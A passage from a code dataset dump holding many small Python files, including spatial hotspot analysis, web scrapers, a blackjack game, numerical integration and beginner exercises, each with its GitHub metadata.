row[lng]) for index, row in data.iterrows()]\n #w = libpysal.weights.DistanceBand(coords, threshold) \n w = pysal.weights.DistanceBand(coords, threshold)\n #getisOrdGlobal = esda.getisord.G(data[value], w)\n getisOrdLocal = esda.getisord.G_Local(data[value], w, transform='B')\n #getisOrdLocal.Zs\n\n data['z_score'] = getisOrdLocal.Zs\n data['p_value'] = getisOrdLocal.p_norm\n\n return data\n\n#Defining colors for the spots\ndef pltcolor(p_value, z_score, confidence):\n cols=[]\n size=[]\n for p, z in zip(p_value, z_score):\n if p < confidence:\n if z > 0:\n cols.append('black') #hotspot color\n size.append(3)\n else:\n cols.append('blue') #coldspot color\n size.append(1)\n else:\n cols.append('grey') #others\n size.append(0.5)\n return cols , size\n\ndef plot(data, lat = 'lat', lng = 'lng', p_field = 'p_value', z_field = 'z_score'):\n from matplotlib import pyplot as plt\n #z_score>1.96 hot spots (95% ci)\n #z_score<-1.96 cold spots\n from matplotlib import colors as cls\n\n f, axarr = plt.subplots(1, figsize=(10,10))\n total_range = cls.Normalize(vmin = - 1.96, vmax = 1.96)\n \n cols, sizes = pltcolor(data[p_field], data[z_field], 0.05)\n\n plt.scatter(x=data['lng'], y=data['lat'], s=sizes, c=cols, lw = 0) #Pass on the list created by the function here\n plt.grid(True)\n plt.show()\n\n\ndef makepopup(t):\n return str(t)\n\ndef map(m, data, value = 'value', style = 'hotspots', lat = 'lat', lng = 'lng', p_field = 'p_value', z_field = 'z_score', col ='#f09205'):\n data = data[data[p_field] < 0.05]\n lats = data[lat]\n lngs = data[lng]\n\n avg_lat = sum(lats) / len(lats)\n avg_lngs = sum(lngs) / len(lngs)\n\n latlngs = []\n if style == 'hotspots':\n #z-value\n z = data[z_field]\n p = data[p_field]\n color, sizes = pltcolor(p, z, 0.05)\n value = data[value]\n for lat,lng,c,v in zip(lats, lngs, color, value):\n folium.CircleMarker([lat,lng], color = c, radius =3, fill = c, popup = makepopup(v)).add_to(m)\n latlngs.append([lat,lng])\n else:\n color = [col]*len(data)\n for lat,lng,c in zip(lats, lngs, color):\n folium.CircleMarker([lat,lng], color = c, radius =3, fill = c).add_to(m)\n latlngs.append([lat,lng])\n\n m.fit_bounds(latlngs)\n\n\n\n\n","repo_name":"janakparajuli/FCDA_Traffic_Safety","sub_path":"David/getis.py","file_name":"getis.py","file_ext":"py","file_size_in_byte":3117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24304002638","text":"import pickle\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef get_questions(num):\n questions = []\n unique = set()\n url = 'https://my.uscis.gov/en/prep/test/civics/view'\n while len(unique) < num:\n page = requests.get(url)\n soup = BeautifulSoup(page.content, 'html.parser')\n\n arr = []\n question = soup.find('span', {'class': 'question-text'})\n if question.text.strip() not in unique:\n unique.add(question.text.strip())\n arr.append(question.text.strip())\n\n answers = []\n responses = soup.findAll('div', {'class': 'en'})\n correct = soup.findAll('div', {'class': 'answer-icon'})\n for i in range(len(responses)):\n answers.append(responses[i].text.strip())\n if correct[i].text.strip() == \"Correct\":\n arr.append(responses[i].text.strip())\n arr.append(answers)\n\n explanation = soup.find('div', {'class': 'study-materials'}).findChildren(\"div\", recursive=False)\n arr.append(explanation[-1].text.strip())\n\n questions.append(arr)\n\n print(len(questions))\n\n with open('questions', 'wb') as f:\n pickle.dump(questions, f)\n\n# get_questions(95)","repo_name":"imathur1/future_citizens","sub_path":"questions.py","file_name":"questions.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"38575827231","text":"import os\r\n\r\nos.system(\"cls\")\r\n\r\nclass Carro():\r\n\r\n def __init__(self, marca, modelo, ano):\r\n self.__marca = marca\r\n self.__modelo = modelo\r\n self.__ano = ano\r\n\r\n @property\r\n def marca(self):\r\n return self.__marca\r\n\r\n @property\r\n def modelo(self):\r\n return self.__modelo\r\n \r\n @property\r\n def ano(self):\r\n return self.__ano\r\n\r\n @marca.setter\r\n def marca(self, marca):\r\n self.__marca = marca\r\n\r\n @modelo.setter\r\n def modelo(self, modelo):\r\n self.__modelo = modelo\r\n \r\n @ano.setter\r\n def ano(self, ano):\r\n self.__ano = ano\r\n\r\n def __hash__(self):\r\n primo = 31\r\n return primo * hash(self.__marca) + primo * hash(self.__modelo) + primo * hash(self.__ano)\r\n\r\n def __eq__(self, obj):\r\n if (obj == None):\r\n\t\t\t return False\r\n if (self.__class__ != obj.__class__):\r\n\t\t\t return False\r\n if (self.__marca == None):\r\n if(obj.marca != None):\r\n return False\r\n elif(self.__marca != obj.marca):\r\n return False\r\n if (self.__modelo == None):\r\n if (obj.modelo != None):\r\n return False\r\n elif (self.__modelo != obj.modelo):\r\n return False\r\n if (self.__ano == None):\r\n if (obj.ano != None):\r\n return False\r\n elif (self.__ano != obj.ano):\r\n return False\r\n \r\n return True\r\n\r\n def __str__(self):\r\n return self.__marca + \" - \" + self.__modelo + \" - \" + str(self.__ano)\r\n \r\nif __name__ == \"__main__\":\r\n \r\n t = int(input())\r\n\r\n colecao = set()\r\n for i in range(0, t):\r\n\r\n marca, modelo, ano = input().split()\r\n \r\n colecao.add(Carro(marca, modelo, int(ano)))\r\n \r\n \r\n colecao_ordenada = sorted(colecao, key=str)\r\n \r\n for c in colecao_ordenada:\r\n print(c)","repo_name":"clemendes/Python","sub_path":"Collections/exemplo2_com_set.py","file_name":"exemplo2_com_set.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14472111903","text":"def impar1 (num) :\r\n \"\"\"Función que comprueba si un número dado es impar\r\n \"\"\"\r\n if num % 2 != 0:\r\n return True\r\n else:\r\n return False\r\nprint(impar1(5))\r\n\r\n\r\n#Expresión lambda para realizar la solución al mismo problema\r\nimpar2 = lambda num: num%2 != 0\r\nprint(impar2(6))\r\n\r\n\r\n","repo_name":"hector81/Aprendiendo_Python","sub_path":"CursoPython/Unidad7/Ejemplos/funcion_lambda_impar.py","file_name":"funcion_lambda_impar.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72170386007","text":"def count(filepath, search):\n counts = {word: 0 for word in search}\n \n with open(filepath, 'r') as file:\n text = file.read()\n \n word = ''\n alpha = False\n for char in text:\n if 'a' <= char <= 'z' or 'A' <= char <= 'Z' or '0' <= char <= '9':\n word += char\n alpha = True\n else:\n if alpha:\n if word in counts:\n counts[word] += 1\n word = ''\n alpha = False\n \n if word and word in counts:\n counts[word] += 1\n\n return counts\n\nfilepath = 'mots.txt'\nsearch = ['Homme', 'homme', 'hommes', 'Hommes', 'femme', 'femmes', 'Femme', 'Femmes']\nresult = count(filepath, search)\nprint(result)","repo_name":"Vilguax/dc5-pelassa-axel-baignoire-data","sub_path":"ex9.py","file_name":"ex9.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24041862139","text":"\"\"\"\nProblem 171:\nFor a positive integer n, let f(n) be the sum of the squares of the digits (in base 10) of n, e.g.\n\nf(3) = 32 = 9,\nf(25) = 22 + 52 = 4 + 25 = 29,\nf(442) = 42 + 42 + 22 = 16 + 16 + 4 = 36\n\nFind the last nine digits of the sum of all n, 0 < n < 1020, such that f(n) is a perfect square.\n\"\"\"\n\n\nimport math\n\n\ndef answer(l=20, b=10, m=10 ** 9):\n max_sqrt_sum = (b - 1) ** 2 * l\n sqsum, c = [[0] * (max_sqrt_sum + 1)], [[1] + [0] * max_sqrt_sum]\n for i in range(1, l + 1):\n sqsum.append([0] * (max_sqrt_sum + 1))\n c.append([0] * (max_sqrt_sum + 1))\n for j in range(b):\n for k, index in enumerate(range(j ** 2, max_sqrt_sum)):\n sqsum[i][index] = (sqsum[i][index] + sqsum[i - 1][k] + pow(b, i - 1, m) * j * c[i - 1][k]) % m\n c[i][index] = (c[i][index] + c[i - 1][k]) % m\n return sum(sqsum[l][i ** 2] for i in range(1, int(math.sqrt(max_sqrt_sum)))) % m\n\n\nif __name__ == '__main__':\n print(\"Answer is:\", answer())\n","repo_name":"zactodd/ProjectEuler","sub_path":"python/Answers/answer171.py","file_name":"answer171.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14430476168","text":"from django.conf.urls.defaults import patterns, include, url\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n url(r'^$', 'main.views.home'),\n url(r'^category/(?P.+)/$', 'main.views.category'), #direct category access\n url(r'^search/', 'main.views.search'),\n url(r'^pro/(?P\\d+)/addReview$', 'main.views.addReview'),\n url(r'^pro/addProfessional$', 'main.views.addProfessional'),\n url(r'^pro/(?P\\d+/?$)', 'main.views.item'),\n url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^social/', include('socialregistration.urls', namespace = 'socialregistration')),\n url(r'^accounts/profile/', 'main.views.profile'),\n url(r'^logout/', 'main.views.logout'),\n)\n\nurlpatterns += staticfiles_urlpatterns()\n","repo_name":"reillywatson/rolodx","sub_path":"rolodx/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"73117177688","text":"# coding=utf-8\n\nimport random\n\nsuits = ['Spades', 'Hearts', 'Clubs', 'Diamonds']\nnumbers = {'Ace': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, '10': 10, 'Jack': 10, 'Queen': 10, 'King': 10}\ndeck = []\nfor suit in suits:\n for number in numbers:\n deck.append(number + ' of ' + suit)\n\n# these part was copied from a stackoverflow question.\nclass Card(object):\n card_values = {\n 'Ace': 11, # value of the ace is high until it needs to be low\n '2': 2,\n '3': 3,\n '4': 4,\n '5': 5,\n '6': 6,\n '7': 7,\n '8': 8,\n '9': 9,\n '10': 10,\n 'Jack': 10,\n 'Queen': 10,\n 'King': 10\n }\n\n def __init__(self, suit, rank):\n \"\"\"\n :param suit: The face of the card, e.g. Spade or Diamond\n :param rank: The value of the card, e.g 3 or King\n \"\"\"\n self.suit = suit.capitalize()\n self.rank = rank\n self.points = self.card_values[rank]\n\ndef ascii_version_of_card(*cards):\n \"\"\"\n Instead of a boring text version of the card we render an ASCII image of the card.\n :param cards: One or more card objects\n :param return_string: By default we return the string version of the card, but the dealer hide the 1st card and we\n keep it as a list so that the dealer can add a hidden card in front of the list\n \"\"\"\n return_string = True\n # we will use this to prints the appropriate icons for each card\n suits_name = ['Spades', 'Diamonds', 'Hearts', 'Clubs']\n suits_symbols = ['♠', '♦', '♥', '♣']\n\n # create an empty list of list, each sublist is a line\n lines = [[] for i in range(9)]\n\n for index, card in enumerate(cards):\n # \"King\" should be \"K\" and \"10\" should still be \"10\"\n if card.rank == '10': # ten is the only one who's rank is 2 char long\n rank = card.rank\n space = '' # if we write \"10\" on the card that line will be 1 char to long\n else:\n rank = card.rank[0] # some have a rank of 'King' this changes that to a simple 'K' (\"King\" doesn't fit)\n space = ' ' # no \"10\", we use a blank space to will the void\n # get the cards suit in two steps\n suit = suits_name.index(card.suit)\n suit = suits_symbols[suit]\n\n # add the individual card on a line by line basis\n lines[0].append('┌─────────┐')\n lines[1].append('│{}{} │'.format(rank, space)) # use two {} one for char, one for space or char\n lines[2].append('│ │')\n lines[3].append('│ │')\n lines[4].append('│ {} │'.format(suit))\n lines[5].append('│ │')\n lines[6].append('│ │')\n lines[7].append('│ {}{}│'.format(space, rank))\n lines[8].append('└─────────┘')\n\n result = []\n for index, line in enumerate(lines):\n result.append(''.join(lines[index]))\n\n # hidden cards do not use string\n if return_string:\n return '\\n'.join(result)\n else:\n return result\n\n\ndef ascii_version_of_hidden_card(*cards):\n \"\"\"\n Essentially the dealers method of print ascii cards. This method hides the first card, shows it flipped over\n :param cards: A list of card objects, the first will be hidden\n :return: A string, the nice ascii version of cards\n \"\"\"\n # a flipper over card. # This is a list of lists instead of a list of string becuase appending to a list is better then adding a string\n lines = [['┌─────────┐'], ['│░░░░░░░░░│'], ['│░░░░░░░░░│'], ['│░░░░░░░░░│'], ['│░░░░░░░░░│'], ['│░░░░░░░░░│'], ['│░░░░░░░░░│'], ['│░░░░░░░░░│'], ['└─────────┘']]\n\n # store the non-flipped over card after the one that is flipped over\n cards_except_first = ascii_version_of_card(*cards[1:], return_string=False)\n for index, line in enumerate(cards_except_first):\n lines[index].append(line)\n\n # make each line into a single list\n for index, line in enumerate(lines):\n lines[index] = ''.join(line)\n\n # convert the list into a single string\n return '\\n'.join(lines)\n\n## end copied code\n\nclass Deck(object):\n def __init__(self, cards):\n self.cards = cards\n self.size = len(self.cards)\n\n def shuffle(self):\n random.shuffle(self.cards)\n\n def deal(self):\n card = self.cards.pop()\n # print(card)\n # print(len(self.cards))\n return card\n\n\nclass Hand(Deck):\n def hit(self, card):\n self.cards.append(card)\n\n def score(self):\n total_score = 0\n ace = False\n for card in self.cards:\n number, suit = card.split(' of ')\n value = numbers[number]\n total_score += value\n if number == 'Ace':\n ace = True\n\n if ace:\n alt_score = total_score + 10\n if alt_score <= 21:\n total_score = alt_score\n\n return total_score\n\n def display(self):\n card_objects = []\n for card in self.cards:\n number, suit = card.split(' of ')\n card_object = Card(suit, number)\n card_objects.append(card_object)\n\n print(ascii_version_of_card(*tuple(card_objects)))\n\n\ndef check_end(dealer_hand, player_hands):\n # end if anyone got blackjack\n for player_hand in player_hands:\n if player_hand.score() == 21:\n return True\n\n # end if dealer busted\n if dealer_hand.score() > 21:\n return True\n\n # end if anyone busted\n for player_hand in player_hands:\n if player_hand.score() > 21:\n return True\n\n\ndef compare_hand(dealer_hand, player_hands):\n results = []\n for player_hand in player_hands:\n if player_hand.score() > 21 and dealer_hand.score() > 21:\n results.append(\"Draw\")\n elif player_hand.score() > 21:\n results.append(\"Player Busted!\")\n elif dealer_hand.score() > 21:\n results.append(\"Player Won! Dealer Busted.\")\n elif player_hand.score() > dealer_hand.score():\n results.append(\"Player Won\")\n elif player_hand.score() < dealer_hand.score():\n results.append(\"Player Lost\")\n else:\n results.append(\"Draw\")\n return results\n\n\nif __name__ == '__main__':\n deck = Deck(deck)\n # print(deck.cards)\n deck.shuffle()\n\n # dealing\n player_hand = Hand([])\n dealer_hand = Hand([])\n\n card = deck.deal()\n player_hand.hit(card)\n card = deck.deal()\n dealer_hand.hit(card)\n card = deck.deal()\n player_hand.hit(card)\n card = deck.deal()\n dealer_hand.hit(card)\n\n # playing\n # print(\"player:\", player_hand.cards, player_hand.score())\n print(\"Player's Hand:\")\n player_hand.display()\n # print(\"dealer:\", dealer_hand.cards, dealer_hand.score())\n print(\"Dealer's Hand:\")\n dealer_hand.display()\n\n end = check_end(dealer_hand, [player_hand])\n while not end:\n choice = raw_input(\"Hit[H] or Pass[P]?\")\n if choice.upper() == 'H':\n print(\"player hits\")\n card = deck.deal()\n player_hand.hit(card)\n end = check_end(dealer_hand, [player_hand])\n\n if choice.upper() == 'P':\n # player pass, dealer continue hitting until win or bust\n print(\"player holds.\")\n while dealer_hand.score() < player_hand.score():\n card = deck.deal()\n dealer_hand.hit(card)\n print(\"dealer:\", dealer_hand.cards, dealer_hand.score())\n end = check_end(dealer_hand, [player_hand])\n end = True\n\n # print(\"player:\", player_hand.cards, player_hand.score())\n print(\"Player's Hand:\")\n player_hand.display()\n # print(\"dealer:\", dealer_hand.cards, dealer_hand.score())\n print(\"Dealer's Hand:\")\n dealer_hand.display()\n\n # results:\n results = compare_hand(dealer_hand, [player_hand])\n # print(\"player:\", player_hand.cards, player_hand.score())\n print(\"Player's Hand:\")\n player_hand.display()\n # print(\"dealer:\", dealer_hand.cards, dealer_hand.score())\n print(\"Dealer's Hand:\")\n dealer_hand.display()\n print(\"*******\")\n print(results[0])\n print(\"*******\")\n\n","repo_name":"linlifeng/blackjack","sub_path":"blackjack.py","file_name":"blackjack.py","file_ext":"py","file_size_in_byte":8450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72486394327","text":"def changeName(n):\n n='ada'\n\nname='yiğit' \nchangeName(name)\nprint(name)\n\n\ndef change(n):\n n[0]=\"istanbul\"\nsehirler=[\"ankara\",\"izmir\"]\nchange(sehirler)\nprint(sehirler)\n\n# def add(*params):\n# return sum((params))\n\n# print(add(10,20))\n# print(add(10,20,50,90))\n# print(add(10,20,36,78,90,8,78))\ndef displayUser(**params):\n for key,value in params.items():\n print(\"my {} is {}\".format(key,value))\n\ndisplayUser(name=\"çınar\",age=2,city=\"istanbul\")\ndisplayUser(name=\"Ada\",age=6,city=\"istanbul\",phone=\"32442\")\n\n\ndef myFunc(a,b,*args,**kwargs):\n print(a)\n print(b)\n print(args)\n print(kwargs)\n\n\nmyFunc(10,34,56,54,51,key1=\"value1\",key2=\"value2\")\n\n","repo_name":"fatmanurkaramann/python-basic-projects","sub_path":"Functions/arguments.py","file_name":"arguments.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14657904825","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 16 19:14:48 2020\n\n@author: Hi\n\"\"\"\n\n# preinforme11_HenryRueda\n\nimport numpy as np\n\n# sacado de: rtve noticias \n\ncovid_19= np.array([\n ['Estados Unidos','653825','33000','57271'],\n ['España','182816','22170','517'],\n ['Italia','168941','1809','2335'],\n ['Francia','141900','17941','30955'],\n ['Alemania','135843','4052','64300'],\n ['Reino unido','104135','13759','1918'],\n ['China','83403','3342','67017'],\n ['Iran','77995','4869','4590'],\n ['Turquia','74193','168','162'],\n ['Colombia','3233','144','550']])\n \n# paises con mayor nummero de contagios y sus cifras\n \ndef pais_con_mayor_numero_de_contagios(covid_19):\n niveles,columnas=covid_19.shape\n mayor= covid_19[0,1]\n pais_mayor_covid_19= covid_19[0,0]\n for i in range(1,niveles):\n if int(mayor)< int(covid_19[i,1]):\n mayor= covid_19[i,1]\n pais_mayor_covid_19= covid_19[i,0]\n print(\"el pais con mas casos de covid_19 es: \"+pais_mayor_covid_19 + \" y tiene \" + str(mayor) + \" casos confirmados\")\n \npais_con_mayor_numero_de_contagios(covid_19) \n\n# pais con mayor numero de muertos y sus cifras\n\ndef pais_con_mayor_numero_de_muertos(covid_19):\n niveles,columnas=covid_19.shape\n mayor= covid_19[0,2]\n pais_mayor_covid_19= covid_19[0,0]\n for i in range(1,niveles):\n if int(mayor)< int(covid_19[i,2]):\n mayor= covid_19[i,2]\n pais_mayor_covid_19= covid_19[i,0]\n print(\"el pais con mas fallecidos de covid_19 es: \"+pais_mayor_covid_19 + \" y tiene \" + str(mayor) + \" fallecidos\")\n \npais_con_mayor_numero_de_muertos(covid_19) \n\n# pais con mayyor numero de recuperado y sus cifras\n\ndef pais_con_mayor_numero_de_recuperados(covid_19):\n niveles,columnas=covid_19.shape\n mayor= covid_19[0,3]\n pais_mayor_covid_19= covid_19[0,0]\n for i in range(1,niveles):\n if int(mayor)< int(covid_19[i,3]):\n mayor= covid_19[i,3]\n pais_mayor_covid_19= covid_19[i,0]\n print(\"el pais con mayor recuperacion de pacientes del covid_19 es: \"+pais_mayor_covid_19 + \" y tiene \" + str(mayor) + \" pacientes recuperados\")\n \npais_con_mayor_numero_de_recuperados(covid_19) \n\n\n\n\n\n\n\n\n","repo_name":"Henryal12/laboratorio10_arreglos","sub_path":"preinforme11_HenryRueda.py","file_name":"preinforme11_HenryRueda.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30837052309","text":"from selenium import webdriver\nfrom selenium.webdriver.support.select import Select\nimport time\ndriver = webdriver.Firefox()\nurl =\"file:///C:/Users/liuqun/Desktop/select.html\"\ndriver.get(url)\n\n# 1.定位下拉框标签\n\nel_sel = driver.find_element_by_tag_name(\"select\")\n# 2.选择下拉框\nseobj = Select(el_sel)\nseobj.select_by_visible_text(\"深圳\")\ntime.sleep(2)\nseobj.select_by_index(0)\ntime.sleep(2)\nseobj.select_by_value(\"3\")\ntime.sleep(2)\n\n\nprint(seobj.first_selected_option.text)\nfor i in seobj.options:\n print(i.text)\n print(i.get_attribute(\"value\"))\ndriver.close()\n\n\n\n","repo_name":"liuqun5050/myScript","sub_path":"自动化/下拉框.py","file_name":"下拉框.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11765945005","text":"import os\nfrom PIL import Image\n\nd = os.listdir(\"../test_images/\")\n\nfor i in d:\n for alg in [\"RO\",\"PSO\",\"DE\",\"JAYA\",\"GWO\",\"GA\"]:\n im = Image.open(\"../test_images/\"+i).resize((128,128), Image.BICUBIC) \n im.save(\"/tmp/image.png\")\n os.system(\"python3 enhance.py /tmp/image.png 10 50 %s RI results/%s_%s\" % (alg,os.path.basename(i[:-4]),alg))\n\nos.system(\"rm /tmp/image.png\")\n\n","repo_name":"umfundii/SwarmOptimization","sub_path":"images/enhance/process_images.py","file_name":"process_images.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40367006764","text":"from lgvalues_weights import *\r\nfrom lgvalues_abscissa import *\r\nimport math\r\nimport numpy as np\r\nimport pandas as pd\r\nimport plotly.express as px\r\nimport plotly.graph_objects as go\r\n\r\ndef f(t):\r\n return math.sqrt(7*((3*t + 7) / 2) - ((3*t + 7) / 2)**2 - 10)\r\n\r\ndef g(t):\r\n return 1 / math.sqrt(7*((3*t + 7) / 2) - ((3*t + 7) / 2)**2 - 10)\r\n\r\n\r\ndef gaussLegendre(n, c, f):\r\n # I = summation of w_i * f(t_i)\r\n I = 0\r\n\r\n for i in range(n):\r\n I += quadrature_weights[n][i] * f(legendre_roots[n][i])\r\n\r\n return c*I\r\n\r\nnArray = np.array([i for i in range(2, 65)])\r\nfApproxArray = []\r\ngApproxArray = []\r\n\r\nfor n in nArray:\r\n fApproxArray.append(gaussLegendre(n, 1.5, f))\r\n gApproxArray.append(gaussLegendre(n, 1.5, g))\r\n\r\ndf = pd.DataFrame(dict(\r\n x = nArray,\r\n y = fApproxArray\r\n))\r\n\r\ndf_2 = pd.DataFrame(dict(\r\n x = nArray,\r\n y = gApproxArray\r\n))\r\n\r\nfig1 = px.line(df, x=\"x\", y=\"y\", labels={\"x\":\"Number of points used\", \"y\":\"Approximated value for I\"}, title=\"n-point Gaussian Quadrature\") \r\nfig2 = px.line(df_2, x=\"x\", y=\"y\", labels={\"x\":\"Number of points used\", \"y\":\"Approximated value for I\"}, title=\"n-point Gaussian Quadrature\") \r\n\r\nfig = go.Figure(data = fig1.data + fig2.data)\r\nfig.add_annotation(x=10, y=3.6,\r\n text=\"Item 6A\",\r\n showarrow=False\r\n )\r\nfig.add_annotation(x=10, y=2.8,\r\n text=\"Item 6B\",\r\n showarrow=False\r\n )\r\nfig.show()","repo_name":"rbsolas/CS-138-PE-Dependencies","sub_path":"gaussian_quad.py","file_name":"gaussian_quad.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13201479645","text":"import sys\nstring = sys.stdin.readline()\nN = int(sys.stdin.readline())\nstack = list()\nfor i in string[:len(string)-1]:\n stack.append(i)\ntemp = list()\nfor i in range(N):\n currInput = sys.stdin.readline().split()\n if currInput[0] == 'P':\n stack.append(currInput[1])\n elif currInput[0] == 'B':\n if len(stack) != 0:\n stack.pop()\n elif currInput[0] == 'L':\n if len(stack) != 0:\n temp.append(stack.pop())\n else:\n if len(temp) != 0:\n stack.append(temp.pop())\n\nwhile len(temp) != 0:\n stack.append(temp.pop())\n\nprint(''.join(stack))\n\n# index = len(string)-1\n# for i in range(N):\n# currInput = sys.stdin.readline().split()\n# if currInput[0] == 'P':\n# string = string[:index] + currInput[1] + string[index:]\n# index += 1\n# elif currInput[0] == 'B':\n# if index != 0:\n# string = string[:index-1] + string[index:]\n# index -= 1\n# elif currInput[0] == 'L':\n# if index != 0:\n# index -= 1\n# else:\n# if index != len(string):\n# index += 1\n# string = string.replace(\"\\n\", \"\")\n#\n# print(string)\n\n# list = list(string)\n# del list[len(list)-1]\n#\n# index = len(list)\n# for i in range(N):\n# currInput = sys.stdin.readline().split()\n# if currInput[0] == 'P':\n# list.insert(index, currInput[1])\n# index += 1\n# elif currInput[0] == 'B':\n# if index == 0:\n# continue\n# else:\n# del list[index-1]\n# index -= 1\n# elif currInput[0] == 'L':\n# if index == 0:\n# continue\n# else:\n# index -= 1\n# else:\n# if index == len(list):\n# continue\n# else:\n# index += 1\n#\n# res = ''\n# for i in list:\n# res += i\n#\n# print(res)\n","repo_name":"mushroom1324/Algorithm","sub_path":"BOJ_1406.py","file_name":"BOJ_1406.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"21346818387","text":"import random\r\n\r\nfile = open(r\".\\FC\\fc_100.txt\",\"r\")\r\nfile2 = open(r\".\\FC\\fcM_100.txt\",\"w\")\r\nfor i, line in enumerate(file):\r\n if i%3 == 0:\r\n file2.write(line)\r\n totalCustomer = 0\r\n for i in range(100):\r\n capacity = random.randint(1,5)\r\n totalCustomer += capacity\r\n file2.write(str(capacity)+\" \")\r\n file2.write(\"\\n\")\r\n for i in range(totalCustomer):\r\n cp = random.randint(1,20)\r\n file2.write(str(cp)+\" \")\r\n file2.write(\"\\n\\n\")\r\n ","repo_name":"SakiburReza/Facility-Assignment-Problem","sub_path":"Python Codes/facility_customerM.py","file_name":"facility_customerM.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6120409726","text":"menu = {\n \"Brunch\": {\n \"Steak and Eggs\": 16.99,\n \"Three Egg Breakfast\": 8.99,\n \"Egg Benedict\": 11.99,\n \"Biscuit and Gravy\": 7.99,\n \"Chicken Fingers\": 10.99,\n \"Chicken Wrap\": 8.99,\n \"Steak Salad\": 1.99\n },\n \"Drinks\": {\n \"Soft Drink\": 1.99,\n \"Coffee\": 1.99,\n \"Orange Juice\": 0.99,\n \"Milk\": 0.55,\n \"Water\": 0.00\n }\n}\n\n# changing the value of \"Steak Salad\" from 1.99 to 15.99\nmenu[\"Brunch\"][\"Steak Salad\"] = 15.99\n\nmenu[\"Specials\"] = {\n \"Soup of the Day\": 8.99,\n \"Catch of the Day\": 14.99,\n \"Chef Specail\": 15.99 \n}\nmenu[\"Brunch\"][\"Three Egg Breakfast - Without Bacon\"] = 8.99\nmenu[\"Brunch\"][\"Three Egg Breakfast - With Bacon\"] = 9.99\ndel menu[\"Brunch\"][\"Three Egg Breakfast\"]\n#print(menu)\n\n#table-1 Guest1: (Egg Benedict,Coffee) Guest2: (Biscuit and Gravy, Coffee) Guest3: (Steak and Eggs, Soft Drink)\nguest1_food = menu[\"Brunch\"][\"Egg Benedict\"]\nguest1_drink = menu[\"Drinks\"][\"Coffee\"]\nguest2_food = menu[\"Brunch\"][\"Biscuit and Gravy\"]\nguest2_drink = menu[\"Drinks\"][\"Coffee\"]\nguest3_food = menu[\"Brunch\"][\"Steak and Eggs\"]\nguest3_drink = menu[\"Drinks\"][\"Soft Drink\"]\n\n#Calculating the total of the price of the bill, the taxes and total.\nprice = (guest1_food + guest1_drink + guest2_food + guest2_drink + guest3_food + guest3_drink)\ntaxes = (price * .07)\ntotal = (price + taxes)\n\n#tip calculations\ntip_high = (price * .25)\ntip_mid = (price * .20)\ntip_low = (price * .15)\n\n\n\n#terminal receipt\nprint(\"Eggs Benedict\" + \" $\" + str(guest1_food))\nprint(\"Coffee\" + \" $\" + str(guest1_drink))\nprint(\"Biscuit and Gravy\" + \" $\" + str(guest2_food))\nprint(\"Coffee\" + \" $\" + str(guest2_drink)) \nprint(\"Steak and Eggs\" + \" $\" + str(guest3_food))\nprint(\"Soft Drink\" + \" $\" + str(guest3_drink)) \nprint(\" \")\nprint(\" Price: $\" + str(price))\nprint(\" Taxes: $\" + str(round(taxes, 2)))\nprint(\" Total: $\" + str(round(total, 2)))\nprint(\"**Suggested Tip**\")\nprint(\"Tip 25%: \" + str(round(tip_high,2)))\nprint(\"Tip 20%: \" + str(round(tip_mid,2)))\nprint(\"Tip 15%: \" + str(round(tip_low,2)))","repo_name":"Dcooper15/Python_dictionaries","sub_path":"dictionary_restaurant.py","file_name":"dictionary_restaurant.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21183247643","text":"import requests\nfrom bs4 import BeautifulSoup\n\nURL = 'https://www.securitylab.ru/news/'\n\nHEADERS = {\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0\"\n}\n\ndef get_html(url, params=''):\n req = requests.get(url, headers=HEADERS, params=params)\n return req\n\n\ndef get_data(html):\n soup = BeautifulSoup(html, \"html.parser\")\n items = soup.find_all('a', 